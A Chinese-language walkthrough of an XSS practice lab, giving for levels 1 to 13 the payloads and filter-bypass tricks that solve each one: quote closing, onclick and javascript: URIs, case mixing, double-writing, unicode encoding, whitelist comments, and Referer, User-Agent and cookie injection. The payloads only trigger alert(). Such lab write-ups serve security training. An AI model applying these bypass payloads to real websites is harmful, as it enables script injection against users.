目录
通杀(认真):
第一关(无过滤):
第二关(尖号内xss):
第三关(过滤<>):
第四关(与第三关一致,只是单引号变成双引号):
第五关(a标签)
第六关(大小写绕过)
第七关(双写绕过)
第八关(unicode编码绕过):
第九关(白名单绕过)
第十关(get传参隐藏变量)
第十一关(referer注入)
第十二关(UA注入)
第十三关(cookie注入)
第十四关好想被搞了,iframe的网页被重定向到色情网站 ,所以十四关可能得自己搭环境。。。
给一个通杀(认真):
直接打开控制台输入window.alert()即可通关。
第一关(无过滤):
payload:
<script>alert()</script>
第二关(尖号内xss):
第二关翻看源代码,发现输入的值都在value=后面,所以有两个办法
1.我们先闭合前面,在重新构造一个js语句,同时注意后面的 " 进行闭合或者使用//注释
2.直接利用当前的语句,用onclick等属性值构造
payload:
1"><script>alert()</script>"
1"><script>alert()</script>//
1" onclick="javascript:alert()
第三关(过滤<>):
按照这关的闭合规则,尝试payload,发现<>都被过滤了,所以我们直接采用onclick 的payload
同时注意这关的引号闭合
payload:
1' onclick='javascript:alert()
第四关(与第三关一致,只是单引号变成双引号):
与第三关差不多
payload:
1" onclick="javascript:alert()
第五关(a标签)
先输入我们的特征字符看看过滤的规则咋样
onclick <script> ' "
发现onclick 和<script> 都被过滤了,而且都是从中间插一个_,就没有办法了吗,要是有一个单字符的标签该多好。。。
哦对,我们还有<a>,
于是payload就出来啦
1"><a href="javascript:alert()">alert<a>
第六关(大小写绕过)
这一关发现href也被过滤了,
不过我们想起html的大小写不敏感(注意⚠️:是html不敏感,js是大小写敏感的)
于是大小写绕过
1"><a HrEf="javascript:alert()">alert<a>
第七关(双写绕过)
同样打上上关的payload,发现href不见了,script也不见了,于是猜想php应该是把href script替换为空,所以我们可以构造双写的payload进行绕过
payload:
1"><a hrHrEfef="javascrscriptipt:alert()">alert<a>
第八关(unicode编码绕过):
观察页面,跟之前的关卡有些不同,查看源代码
发现上面框输入什么,下面的href也跟着变,于是直接输入javascript:alert(),发现script被过滤,大小写不能绕过,后来才发现可以进行unicode编码绕过。
在线unicode转换
payload
javascript:alert()
第九关(白名单绕过)
这一关我当时确实没有想出来,看了别的师傅翻出后台源码才恍然醒悟。
一丢丢感悟:做攻的时候我们会猜想别人会怎么防守,而防守的时候并不是只对红队攻击进行黑名单拦截,同时还可以对正常请求做白名单。
这关的白名单就是http://
所以我们需要在我们的payload中加上http:// 同时让他不能影响到我们的payload,最简单的办法就是注释它。所以我们直接在第八关的payload上加上/*http://*/
payload:
javascript:alert()/*http://*/
第十关(get传参隐藏变量)
打开第十关的源码,我们发现有三个input框是隐藏的,但是不影响他们的传参,所以我们试一试他们是否好搞一点。
GET传参,所以使用&加上名字传参,三个都试了一遍,发现第三个成功。
payload
https://xssaq.com/yx/level10.php?keyword=well%20done!&t_sort=1%22%20onclick=javascript:alert()%20type=text
第十一关(referer注入)
相对于上一关,发现多了一个变量,于是老方法试一遍,上一关的变量对于 “ 做了过滤,所以搞第四个试试。
一样的办法,发现,好像不太行,第四个根本没有回显。不过不要灰心,仔细一看,ref,诶,这不是referer吗,从第十关上来的时候还有数值呢,那他的值岂不就是从referer里面直接取出来的咯,这不又是一个注入点。
于是,直接打开bp改包,加上referer就OK啦
payload:
第十二关(UA注入)
跟上一关大差不差,注入点是UA头,payload:
第十三关(cookie注入)
大差不差,payload:
好了,下班咯